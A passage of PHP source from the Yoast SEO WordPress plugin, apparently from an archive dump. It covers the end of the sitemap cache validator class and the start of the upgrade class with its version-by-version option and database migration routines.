			$first_part = substr( $type, 0, ( ceil( $half ) - 1 ) );
			$last_part  = substr( $type, ( 1 - floor( $half ) ) );

			$type = $first_part . '..' . $last_part;
		}

		return $type;
	}

	/**
	 * Invalidate sitemap cache.
	 *
	 * @since 3.2
	 *
	 * @param string|null $type The type to get the key for. Null for all caches.
	 *
	 * @return void
	 */
	public static function invalidate_storage( $type = null ) {

		// Global validator gets cleared when no type is provided.
		$old_validator = null;

		// Get the current type validator.
		if ( ! is_null( $type ) ) {
			$old_validator = self::get_validator( $type );
		}

		// Refresh validator.
		self::create_validator( $type );

		if ( ! wp_using_ext_object_cache() ) {
			// Clean up current cache from the database.
			self::cleanup_database( $type, $old_validator );
		}

		// External object cache pushes old and unretrieved items out by itself so we don't have to do anything for that.
	}

	/**
	 * Cleanup invalidated database cache.
	 *
	 * @since 3.2
	 *
	 * @param string|null $type      The type of sitemap to clear cache for.
	 * @param string|null $validator The validator to clear cache of.
	 *
	 * @return void
	 */
	public static function cleanup_database( $type = null, $validator = null ) {

		global $wpdb;

		if ( is_null( $type ) ) {
			// Clear all cache if no type is provided.
			$like = sprintf( '%s%%', self::STORAGE_KEY_PREFIX );
		}
		else {
			// Clear type cache for all type keys.
			$like = sprintf( '%1$s%2$s_%%', self::STORAGE_KEY_PREFIX, $type );
		}

		/*
		 * Add slashes to the LIKE "_" single character wildcard.
		 *
		 * We can't use `esc_like` here because we need the % in the query.
		 */
		$where   = [];
		$where[] = sprintf( "option_name LIKE '%s'", addcslashes( '_transient_' . $like, '_' ) );
		$where[] = sprintf( "option_name LIKE '%s'", addcslashes( '_transient_timeout_' . $like, '_' ) );

		// Delete transients.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		$wpdb->query(
			$wpdb->prepare(
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
				'DELETE FROM %i WHERE ' . implode( ' OR ', array_fill( 0, count( $where ), '%s' ) ),
				array_merge( [ $wpdb->options ], $where )
			)
		);

		wp_cache_delete( 'alloptions', 'options' );
	}

	/**
	 * Get the current cache validator.
	 *
	 * Without the type the global validator is returned.
	 * This can invalidate -all- keys in cache at once.
	 *
	 * With the type parameter the validator for that specific type can be invalidated.
	 *
	 * @since 3.2
	 *
	 * @param string $type Provide a type for a specific type validator, empty for global validator.
	 *
	 * @return string|null The validator for the supplied type.
	 */
	public static function get_validator( $type = '' ) {

		$key = self::get_validator_key( $type );

		$current = get_option( $key, null );
		if ( ! is_null( $current ) ) {
			return $current;
		}

		if ( self::create_validator( $type ) ) {
			return self::get_validator( $type );
		}

		return null;
	}

	/**
	 * Get the cache validator option key for the specified type.
	 *
	 * @since 3.2
	 *
	 * @param string $type Provide a type for a specific type validator, empty for global validator.
	 *
	 * @return string Validator to be used to generate the cache key.
	 */
	public static function get_validator_key( $type = '' ) {

		if ( empty( $type ) ) {
			return self::VALIDATION_GLOBAL_KEY;
		}

		return sprintf( self::VALIDATION_TYPE_KEY_FORMAT, $type );
	}

	/**
	 * Refresh the cache validator value.
	 *
	 * @since 3.2
	 *
	 * @param string $type Provide a type for a specific type validator, empty for global validator.
	 *
	 * @return bool True if validator key has been saved as option.
	 */
	public static function create_validator( $type = '' ) {

		$key = self::get_validator_key( $type );

		// Generate new validator.
		$microtime = microtime();

		// Remove space.
		list( $milliseconds, $seconds ) = explode( ' ', $microtime );

		// Transients are purged every 24h.
		$seconds      = ( $seconds % DAY_IN_SECONDS );
		$milliseconds = intval( substr( $milliseconds, 2, 3 ), 10 );

		// Combine seconds and milliseconds and convert to integer.
		$validator = intval( $seconds . '' . $milliseconds, 10 );

		// Apply base 61 encoding.
		$compressed = self::convert_base10_to_base61( $validator );

		return update_option( $key, $compressed, false );
	}

	/**
	 * Encode to base61 format.
	 *
	 * This is base64 (numeric + alpha + alpha upper case) without the 0.
	 *
	 * @since 3.2
	 *
	 * @param int $base10 The number that has to be converted to base 61.
	 *
	 * @return string Base 61 converted string.
	 *
	 * @throws InvalidArgumentException When the input is not an integer.
	 */
	public static function convert_base10_to_base61( $base10 ) {

		if ( ! is_int( $base10 ) ) {
			throw new InvalidArgumentException( __( 'Expected an integer as input.', 'wordpress-seo' ) );
		}

		// Characters that will be used in the conversion.
		$characters = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
		$length     = strlen( $characters );

		$remainder = $base10;
		$output    = '';

		do {
			// Building from right to left in the result.
			$index = ( $remainder % $length );

			// Prepend the character to the output.
			$output = $characters[ $index ] . $output;

			// Determine the remainder after removing the applied number.
			$remainder = floor( $remainder / $length );

			// Keep doing it until we have no remainder left.
		} while ( $remainder );

		return $output;
	}
}
wordpress-seo/inc/class-upgrade.php000064400000155517147510273100013412 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internal
 */

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher;

/**
 * This code handles the option upgrades.
 */
class WPSEO_Upgrade {

	/**
	 * The taxonomy helper.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy_helper;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$this->taxonomy_helper = YoastSEO()->helpers->taxonomy;

		$version = WPSEO_Options::get( 'version' );

		WPSEO_Options::maybe_set_multisite_defaults( false );

		$routines = [
			'1.5.0'      => 'upgrade_15',
			'2.0'        => 'upgrade_20',
			'2.1'        => 'upgrade_21',
			'2.2'        => 'upgrade_22',
			'2.3'        => 'upgrade_23',
			'3.0'        => 'upgrade_30',
			'3.3'        => 'upgrade_33',
			'3.6'        => 'upgrade_36',
			'4.0'        => 'upgrade_40',
			'4.4'        => 'upgrade_44',
			'4.7'        => 'upgrade_47',
			'4.9'        => 'upgrade_49',
			'5.0'        => 'upgrade_50',
			'5.5'        => 'upgrade_55',
			'6.3'        => 'upgrade_63',
			'7.0-RC0'    => 'upgrade_70',
			'7.1-RC0'    => 'upgrade_71',
			'7.3-RC0'    => 'upgrade_73',
			'7.4-RC0'    => 'upgrade_74',
			'7.5.3'      => 'upgrade_753',
			'7.7-RC0'    => 'upgrade_77',
			'7.7.2-RC0'  => 'upgrade_772',
			'9.0-RC0'    => 'upgrade_90',
			'10.0-RC0'   => 'upgrade_100',
			'11.1-RC0'   => 'upgrade_111',
			// Reset notifications because we removed the AMP Glue plugin notification.
			'12.1-RC0'   => 'clean_all_notifications',
			'12.3-RC0'   => 'upgrade_123',
			'12.4-RC0'   => 'upgrade_124',
			'12.8-RC0'   => 'upgrade_128',
			'13.2-RC0'   => 'upgrade_132',
			'14.0.3-RC0' => 'upgrade_1403',
			'14.1-RC0'   => 'upgrade_141',
			'14.2-RC0'   => 'upgrade_142',
			'14.5-RC0'   => 'upgrade_145',
			'14.9-RC0'   => 'upgrade_149',
			'15.1-RC0'   => 'upgrade_151',
			'15.3-RC0'   => 'upgrade_153',
			'15.5-RC0'   => 'upgrade_155',
			'15.7-RC0'   => 'upgrade_157',
			'15.9.1-RC0' => 'upgrade_1591',
			'16.2-RC0'   => 'upgrade_162',
			'16.5-RC0'   => 'upgrade_165',
			'17.2-RC0'   => 'upgrade_172',
			'17.7.1-RC0' => 'upgrade_1771',
			'17.9-RC0'   => 'upgrade_179',
			'18.3-RC3'   => 'upgrade_183',
			'18.6-RC0'   => 'upgrade_186',
			'18.9-RC0'   => 'upgrade_189',
			'19.1-RC0'   => 'upgrade_191',
			'19.3-RC0'   => 'upgrade_193',
			'19.6-RC0'   => 'upgrade_196',
			'19.11-RC0'  => 'upgrade_1911',
			'20.2-RC0'   => 'upgrade_202',
			'20.5-RC0'   => 'upgrade_205',
			'20.7-RC0'   => 'upgrade_207',
			'20.8-RC0'   => 'upgrade_208',
			'22.6-RC0'   => 'upgrade_226',
		];

		array_walk( $routines, [ $this, 'run_upgrade_routine' ], $version );
		if ( version_compare( $version, '12.5-RC0', '<' ) ) {
			/*
			 * We have to run this by hook, because otherwise:
			 * - the theme support check isn't available.
			 * - the notification center notifications are not filled yet.
			 */
			add_action( 'init', [ $this, 'upgrade_125' ] );
		}

		/**
		 * Filter: 'wpseo_run_upgrade' - Runs the upgrade hook which are dependent on Yoast SEO.
		 *
		 * @param string $version The current version of Yoast SEO
		 */
		do_action( 'wpseo_run_upgrade', $version );

		$this->finish_up( $version );
	}

	/**
	 * Runs the upgrade routine.
	 *
	 * @param string $routine         The method to call.
	 * @param string $version         The new version.
	 * @param string $current_version The current set version.
	 *
	 * @return void
	 */
	protected function run_upgrade_routine( $routine, $version, $current_version ) {
		if ( version_compare( $current_version, $version, '<' ) ) {
			$this->$routine( $current_version );
		}
	}

	/**
	 * Adds a new upgrade history entry.
	 *
	 * @param string $current_version The old version from which we are upgrading.
	 * @param string $new_version     The version we are upgrading to.
	 *
	 * @return void
	 */
	protected function add_upgrade_history( $current_version, $new_version ) {
		$upgrade_history = new WPSEO_Upgrade_History();
		$upgrade_history->add( $current_version, $new_version, array_keys( WPSEO_Options::$options ) );
	}

	/**
	 * Runs the needed cleanup after an update, setting the DB version to latest version, flushing caches etc.
	 *
	 * @param string|null $previous_version The previous version.
	 *
	 * @return void
	 */
	protected function finish_up( $previous_version = null ) {
		if ( $previous_version ) {
			WPSEO_Options::set( 'previous_version', $previous_version, 'wpseo' );
		}
		WPSEO_Options::set( 'version', WPSEO_VERSION, 'wpseo' );

		// Just flush rewrites, always, to at least make them work after an upgrade.
		add_action( 'shutdown', 'flush_rewrite_rules' );

		// Flush the sitemap cache.
		WPSEO_Sitemaps_Cache::clear();

		// Make sure all our options always exist - issue #1245.
		WPSEO_Options::ensure_options_exist();
	}

	/**
	 * Run the Yoast SEO 1.5 upgrade routine.
	 *
	 * @param string $version Current plugin version.
	 *
	 * @return void
	 */
	private function upgrade_15( $version ) {
		// Clean up options and meta.
		WPSEO_Options::clean_up( null, $version );
		WPSEO_Meta::clean_up();
	}

	/**
	 * Moves options that moved position in WPSEO 2.0.
	 *
	 * @return void
	 */
	private function upgrade_20() {
		/**
		 * Clean up stray wpseo_ms options from the options table, option should only exist in the sitemeta table.
		 * This could have been caused in many version of Yoast SEO, so deleting it for everything below 2.0.
		 */
		delete_option( 'wpseo_ms' );

		$wpseo = $this->get_option_from_database( 'wpseo' );
		$this->save_option_setting( $wpseo, 'pinterestverify' );

		// Re-save option to trigger sanitization.
		$this->cleanup_option_data( 'wpseo' );
	}

	/**
	 * Detects if taxonomy terms were split and updates the corresponding taxonomy meta's accordingly.
	 *
	 * @return void
	 */
	private function upgrade_21() {
		$taxonomies = get_option( 'wpseo_taxonomy_meta', [] );

		if ( ! empty( $taxonomies ) ) {
			foreach ( $taxonomies as $taxonomy => $tax_metas ) {
				foreach ( $tax_metas as $term_id => $tax_meta ) {
					if ( function_exists( 'wp_get_split_term' ) ) {
						$new_term_id = wp_get_split_term( $term_id, $taxonomy );
						if ( $new_term_id !== false ) {
							$taxonomies[ $taxonomy ][ $new_term_id ] = $taxonomies[ $taxonomy ][ $term_id ];
							unset( $taxonomies[ $taxonomy ][ $term_id ] );
						}
					}
				}
			}

			update_option( 'wpseo_taxonomy_meta', $taxonomies );
		}
	}

	/**
	 * Performs upgrade functions to Yoast SEO 2.2.
	 *
	 * @return void
	 */
	private function upgrade_22() {
		// Unschedule our tracking.
		wp_clear_scheduled_hook( 'yoast_tracking' );

		$this->cleanup_option_data( 'wpseo' );
	}

	/**
	 * Schedules upgrade function to Yoast SEO 2.3.
	 *
	 * @return void
	 */
	private function upgrade_23() {
		add_action( 'wp', [ $this, 'upgrade_23_query' ], 90 );
		add_action( 'admin_head', [ $this, 'upgrade_23_query' ], 90 );
	}

	/**
	 * Performs upgrade query to Yoast SEO 2.3.
	 *
	 * @return void
	 */
	public function upgrade_23_query() {
		// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: executed only during the upgrade routine.
		// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value -- Reason: executed only during the upgrade routine.
		$wp_query = new WP_Query( 'post_type=any&meta_key=_yoast_wpseo_sitemap-include&meta_value=never&order=ASC' );

		if ( ! empty( $wp_query->posts ) ) {
			$options = get_option( 'wpseo_xml' );

			$excluded_posts = [];
			if ( $options['excluded-posts'] !== '' ) {
				$excluded_posts = explode( ',', $options['excluded-posts'] );
			}

			foreach ( $wp_query->posts as $post ) {
				if ( ! in_array( (string) $post->ID, $excluded_posts, true ) ) {
					$excluded_posts[] = $post->ID;
				}
			}

			// Updates the meta value.
			$options['excluded-posts'] = implode( ',', $excluded_posts );

			// Update the option.
			update_option( 'wpseo_xml', $options );
		}

		// Remove the meta fields.
		delete_post_meta_by_key( '_yoast_wpseo_sitemap-include' );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.0.
	 *
	 * @return void
	 */
	private function upgrade_30() {
		// Remove the meta fields for sitemap prio.
		delete_post_meta_by_key( '_yoast_wpseo_sitemap-prio' );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.3.
	 *
	 * @return void
	 */
	private function upgrade_33() {
		// Notification dismissals have been moved to User Meta instead of global option.
		delete_option( Yoast_Notification_Center::STORAGE_KEY );
	}

	/**
	 * Performs upgrade functions to Yoast SEO 3.6.
	 *
	 * @return void
	 */
	protected function upgrade_36() {
		global $wpdb;

		// Between 3.2 and 3.4 the sitemap options were saved with autoloading enabled.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i WHERE %i LIKE %s AND autoload IN ("on", "yes")',
				[ $wpdb->options, 'option_name', 'wpseo_sitemap_%' ]
			)
		);
	}

	/**
	 * Removes the about notice when its still in the database.
	 *
	 * @return void
	 */
	private function upgrade_40() {
		$center = Yoast_Notification_Center::get();
		$center->remove_notification_by_id( 'wpseo-dismiss-about' );
	}

	/**
	 * Moves the content-analysis-active and keyword-analysis-acive options from wpseo-titles to wpseo.
	 *
	 * @return void
	 */
	private function upgrade_44() {
		$wpseo_titles = $this->get_option_from_database( 'wpseo_titles' );

		$this->save_option_setting( $wpseo_titles, 'content-analysis-active', 'content_analysis_active' );
		$this->save_option_setting( $wpseo_titles, 'keyword-analysis-active', 'keyword_analysis_active' );

		// Remove irrelevant content from the option.
		$this->cleanup_option_data( 'wpseo_titles' );
	}

	/**
	 * Renames the meta name for the cornerstone content. It was a public meta field and it has to be private.
	 *
	 * @return void
	 */
	private function upgrade_47() {
		global $wpdb;

		// The meta key has to be private, so prefix it.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				'UPDATE ' . $wpdb->postmeta . ' SET meta_key = %s WHERE meta_key = "yst_is_cornerstone"',
				WPSEO_Cornerstone_Filter::META_NAME
			)
		);
	}

	/**
	 * Removes the 'wpseo-dismiss-about' notice for every user that still has it.
	 *
	 * @return void
	 */
	protected function upgrade_49() {
		global $wpdb;

		/*
		 * Using a filter to remove the notification for the current logged in user. The notification center is
		 * initializing the notifications before the upgrade routine has been executedd and is saving the stored
		 * notifications on shutdown. This causes the returning notification. By adding this filter the shutdown
		 * routine on the notification center will remove the notification.
		 */
		add_filter( 'yoast_notifications_before_storage', [ $this, 'remove_about_notice' ] );

		$meta_key = $wpdb->get_blog_prefix() . Yoast_Notification_Center::STORAGE_KEY;

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$usermetas = $wpdb->get_results(
			$wpdb->prepare(
				'
				SELECT %i, %i
				FROM %i
				WHERE %i = %s AND %i LIKE %s
				',
				[ 'user_id', 'meta_value', $wpdb->usermeta, 'meta_key', $meta_key, 'meta_value', '%wpseo-dismiss-about%' ]
			),
			ARRAY_A
		);

		if ( empty( $usermetas ) ) {
			return;
		}

		foreach ( $usermetas as $usermeta ) {
			$notifications = maybe_unserialize( $usermeta['meta_value'] );

			foreach ( $notifications as $notification_key => $notification ) {
				if ( ! empty( $notification['options']['id'] ) && $notification['options']['id'] === 'wpseo-dismiss-about' ) {
					unset( $notifications[ $notification_key ] );
				}
			}

			update_user_option( $usermeta['user_id'], Yoast_Notification_Center::STORAGE_KEY, array_values( $notifications ) );
		}
	}

	/**
	 * Removes the wpseo-dismiss-about notice from a list of notifications.
	 *
	 * @param Yoast_Notification[] $notifications The notifications to filter.
	 *
	 * @return Yoast_Notification[] The filtered list of notifications. Excluding the wpseo-dismiss-about notification.
	 */
	public function remove_about_notice( $notifications ) {
		foreach ( $notifications as $notification_key => $notification ) {
			if ( $notification->get_id() === 'wpseo-dismiss-about' ) {
				unset( $notifications[ $notification_key ] );
			}
		}

		return $notifications;
	}

	/**
	 * Adds the yoast_seo_links table to the database.
	 *
	 * @return void
	 */
	protected function upgrade_50() {
		global $wpdb;

		// Deletes the post meta value, which might created in the RC.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM %i
				WHERE %i = '_yst_content_links_processed'",
				[ $wpdb->postmeta, 'meta_key' ]
			)
		);
	}

	/**
	 * Register new capabilities and roles.
	 *
	 * @return void
	 */
	private function upgrade_55() {
		// Register roles.
		do_action( 'wpseo_register_roles' );
		WPSEO_Role_Manager_Factory::get()->add();

		// Register capabilities.
		do_action( 'wpseo_register_capabilities' );
		WPSEO_Capability_Manager_Factory::get()->add();
	}

	/**
	 * Removes some no longer used options for noindexing subpages and for meta keywords and its associated templates.
	 *
	 * @return void
	 */
	private function upgrade_63() {
		$this->cleanup_option_data( 'wpseo_titles' );
	}

	/**
	 * Perform the 7.0 upgrade, moves settings around, deletes several options.
	 *
	 * @return void
	 */
	private function upgrade_70() {

		$wpseo_permalinks    = $this->get_option_from_database( 'wpseo_permalinks' );
		$wpseo_xml           = $this->get_option_from_database( 'wpseo_xml' );
		$wpseo_rss           = $this->get_option_from_database( 'wpseo_rss' );
		$wpseo               = $this->get_option_from_database( 'wpseo' );
		$wpseo_internallinks = $this->get_option_from_database( 'wpseo_internallinks' );

		// Move some permalink settings, then delete the option.
		$this->save_option_setting( $wpseo_permalinks, 'redirectattachment', 'disable-attachment' );
		$this->save_option_setting( $wpseo_permalinks, 'stripcategorybase' );

		// Move one XML sitemap setting, then delete the option.
		$this->save_option_setting( $wpseo_xml, 'enablexmlsitemap', 'enable_xml_sitemap' );

		// Move the RSS settings to the search appearance settings, then delete the RSS option.
		$this->save_option_setting( $wpseo_rss, 'rssbefore' );
		$this->save_option_setting( $wpseo_rss, 'rssafter' );

		$this->save_option_setting( $wpseo, 'company_logo' );
		$this->save_option_setting( $wpseo, 'company_name' );
		$this->save_option_setting( $wpseo, 'company_or_person' );
		$this->save_option_setting( $wpseo, 'person_name' );

		// Remove the website name and altername name as we no longer need them.
		$this->cleanup_option_data( 'wpseo' );

		// All the breadcrumbs settings have moved to the search appearance settings.
		foreach ( array_keys( $wpseo_internallinks ) as $key ) {
			$this->save_option_setting( $wpseo_internallinks, $key );
		}

		// Convert hidden metabox options to display metabox options.
		$title_options = get_option( 'wpseo_titles' );

		foreach ( $title_options as $key => $value ) {
			if ( strpos( $key, 'hideeditbox-tax-' ) === 0 ) {
				$taxonomy = substr( $key, strlen( 'hideeditbox-tax-' ) );
				WPSEO_Options::set( 'display-metabox-tax-' . $taxonomy, ! $value );
				continue;
			}

			if ( strpos( $key, 'hideeditbox-' ) === 0 ) {
				$post_type = substr( $key, strlen( 'hideeditbox-' ) );
				WPSEO_Options::set( 'display-metabox-pt-' . $post_type, ! $value );
				continue;
			}
		}

		// Cleanup removed options.
		delete_option( 'wpseo_xml' );
		delete_option( 'wpseo_permalinks' );
		delete_option( 'wpseo_rss' );
		delete_option( 'wpseo_internallinks' );

		// Remove possibly present plugin conflict notice for plugin that was removed from the list of conflicting plugins.
		$yoast_plugin_conflict = WPSEO_Plugin_Conflict::get_instance();
		$yoast_plugin_conflict->clear_error( 'header-footer/plugin.php' );

		// Moves the user meta for excluding from the XML sitemap to a noindex.
		global $wpdb;
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query( "UPDATE $wpdb->usermeta SET meta_key = 'wpseo_noindex_author' WHERE meta_key = 'wpseo_excludeauthorsitemap'" );
	}

	/**
	 * Perform the 7.1 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_71() {
		$this->cleanup_option_data( 'wpseo_social' );

		// Move the breadcrumbs setting and invert it.
		$title_options = $this->get_option_from_database( 'wpseo_titles' );

		if ( array_key_exists( 'breadcrumbs-blog-remove', $title_options ) ) {
			WPSEO_Options::set( 'breadcrumbs-display-blog-page', ! $title_options['breadcrumbs-blog-remove'] );

			$this->cleanup_option_data( 'wpseo_titles' );
		}
	}

	/**
	 * Perform the 7.3 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_73() {
		global $wpdb;
		// We've moved the cornerstone checkbox to our proper namespace.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_yoast_wpseo_is_cornerstone' WHERE meta_key = '_yst_is_cornerstone'" );

		// Remove the previous Whip dismissed message, as this is a new one regarding PHP 5.2.
		delete_option( 'whip_dismiss_timestamp' );
	}

	/**
	 * Performs the 7.4 upgrade.
	 *
	 * @return void
	 */
	protected function upgrade_74() {
		$this->remove_sitemap_validators();
	}

	/**
	 * Performs the 7.5.3 upgrade.
	 *
	 * When upgrading purging media is potentially relevant.
	 *
	 * @return void
	 */
	private function upgrade_753() {
		// Only when attachments are not disabled.
		if ( WPSEO_Options::get( 'disable-attachment' ) === true ) {
			return;
		}

		// Only when attachments are not no-indexed.
		if ( WPSEO_Options::get( 'noindex-attachment' ) === true ) {
			return;
		}

		// Set purging relevancy.
		WPSEO_Options::set( 'is-media-purge-relevant', true );
	}

	/**
	 * Performs the 7.7 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_77() {
		// Remove all OpenGraph content image cache.
		$this->delete_post_meta( '_yoast_wpseo_post_image_cache' );
	}

	/**
	 * Performs the 7.7.2 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_772() {
		if ( YoastSEO()->helpers->woocommerce->is_active() ) {
			$this->migrate_woocommerce_archive_setting_to_shop_page();
		}
	}

	/**
	 * Performs the 9.0 upgrade.
	 *
	 * @return void
	 */
	protected function upgrade_90() {
		global $wpdb;

		// Invalidate all sitemap cache transients.
		WPSEO_Sitemaps_Cache_Validator::cleanup_database();

		// Removes all scheduled tasks for hitting the sitemap index.
		wp_clear_scheduled_hook( 'wpseo_hit_sitemap_index' );

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i
				WHERE %i LIKE %s',
				[ $wpdb->options, 'option_name', 'wpseo_sitemap_%' ]
			)
		);
	}

	/**
	 * Performs the 10.0 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_100() {
		// Removes recalibration notifications.
		$this->clean_all_notifications();

		// Removes recalibration options.
		WPSEO_Options::clean_up( 'wpseo' );
		delete_option( 'wpseo_recalibration_beta_mailinglist_subscription' );
	}

	/**
	 * Performs the 11.1 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_111() {
		// Set company_or_person to company when it's an invalid value.
		$company_or_person = WPSEO_Options::get( 'company_or_person', '' );

		if ( ! in_array( $company_or_person, [ 'company', 'person' ], true ) ) {
			WPSEO_Options::set( 'company_or_person', 'company' );
		}
	}

	/**
	 * Performs the 12.3 upgrade.
	 *
	 * Removes the about notice when its still in the database.
	 *
	 * @return void
	 */
	private function upgrade_123() {
		$plugins = [
			'yoast-seo-premium',
			'video-seo-for-wordpress-seo-by-yoast',
			'yoast-news-seo',
			'local-seo-for-yoast-seo',
			'yoast-woocommerce-seo',
			'yoast-acf-analysis',
		];

		$center = Yoast_Notification_Center::get();
		foreach ( $plugins as $plugin ) {
			$center->remove_notification_by_id( 'wpseo-outdated-yoast-seo-plugin-' . $plugin );
		}
	}

	/**
	 * Performs the 12.4 upgrade.
	 *
	 * Removes the Google plus defaults from the database.
	 *
	 * @return void
	 */
	private function upgrade_124() {
		$this->cleanup_option_data( 'wpseo_social' );
	}

	/**
	 * Performs the 12.5 upgrade.
	 *
	 * @return void
	 */
	public function upgrade_125() {
		// Disables the force rewrite title when the theme supports it through WordPress.
		if ( WPSEO_Options::get( 'forcerewritetitle', false ) && current_theme_supports( 'title-tag' ) ) {
			WPSEO_Options::set( 'forcerewritetitle', false );
		}

		global $wpdb;
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i
				WHERE %i = %s',
				[ $wpdb->usermeta, 'meta_key', 'wp_yoast_promo_hide_premium_upsell_admin_block' ]
			)
		);

		// Removes the WordPress update notification, because it is no longer necessary when WordPress 5.3 is released.
		$center = Yoast_Notification_Center::get();
		$center->remove_notification_by_id( 'wpseo-dismiss-wordpress-upgrade' );
	}

	/**
	 * Performs the 12.8 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_128() {
		// Re-save wpseo to make sure bf_banner_2019_dismissed key is gone.
		$this->cleanup_option_data( 'wpseo' );

		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-page_comments-notice' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-wordpress-upgrade' );
	}

	/**
	 * Performs the 13.2 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_132() {
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-tagline-notice' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-permalink-notice' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-onpageorg' );

		// Transfers the onpage option value to the ryte option.
		$ryte_option   = get_option( 'wpseo_ryte' );
		$onpage_option = get_option( 'wpseo_onpage' );
		if ( ! $ryte_option && $onpage_option ) {
			update_option( 'wpseo_ryte', $onpage_option );
			delete_option( 'wpseo_onpage' );
		}

		// Changes onpage_indexability to ryte_indexability.
		$wpseo_option = get_option( 'wpseo' );
		if ( isset( $wpseo_option['onpage_indexability'] ) && ! isset( $wpseo_option['ryte_indexability'] ) ) {
			$wpseo_option['ryte_indexability'] = $wpseo_option['onpage_indexability'];
			unset( $wpseo_option['onpage_indexability'] );
			update_option( 'wpseo', $wpseo_option );
		}

		if ( wp_next_scheduled( 'wpseo_ryte_fetch' ) ) {
			wp_clear_scheduled_hook( 'wpseo_ryte_fetch' );
		}

		/*
		 * Re-register capabilities to add the new `view_site_health_checks`
		 * capability to the SEO Manager role.
		 */
		do_action( 'wpseo_register_capabilities' );
		WPSEO_Capability_Manager_Factory::get()->add();
	}

	/**
	 * Perform the 14.0.3 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_1403() {
		WPSEO_Options::set( 'ignore_indexation_warning', false );
	}

	/**
	 * Performs the 14.1 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_141() {
		/*
		 * These notifications are retrieved from storage on the `init` hook with
		 * priority 1. We need to remove them after they're retrieved.
		 */
		add_action( 'init', [ $this, 'remove_notifications_for_141' ] );
		add_action( 'init', [ $this, 'clean_up_private_taxonomies_for_141' ] );

		$this->reset_permalinks_of_attachments_for_141();
	}

	/**
	 * Performs the 14.2 upgrade.
	 *
	 * Removes the yoast-acf-analysis notice when it's still in the database.
	 *
	 * @return void
	 */
	private function upgrade_142() {
		add_action( 'init', [ $this, 'remove_acf_notification_for_142' ] );
	}

	/**
	 * Performs the 14.5 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_145() {
		add_action( 'init', [ $this, 'set_indexation_completed_option_for_145' ] );
	}

	/**
	 * Performs the 14.9 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_149() {
		$version = get_option( 'wpseo_license_server_version', 2 );
		WPSEO_Options::set( 'license_server_version', $version );
		delete_option( 'wpseo_license_server_version' );
	}

	/**
	 * Performs the 15.1 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_151() {
		$this->set_home_url_for_151();
		$this->move_indexables_indexation_reason_for_151();

		add_action( 'init', [ $this, 'set_permalink_structure_option_for_151' ] );
		add_action( 'init', [ $this, 'store_custom_taxonomy_slugs_for_151' ] );
	}

	/**
	 * Performs the 15.3 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_153() {
		WPSEO_Options::set( 'category_base_url', get_option( 'category_base' ) );
		WPSEO_Options::set( 'tag_base_url', get_option( 'tag_base' ) );

		// Rename a couple of options.
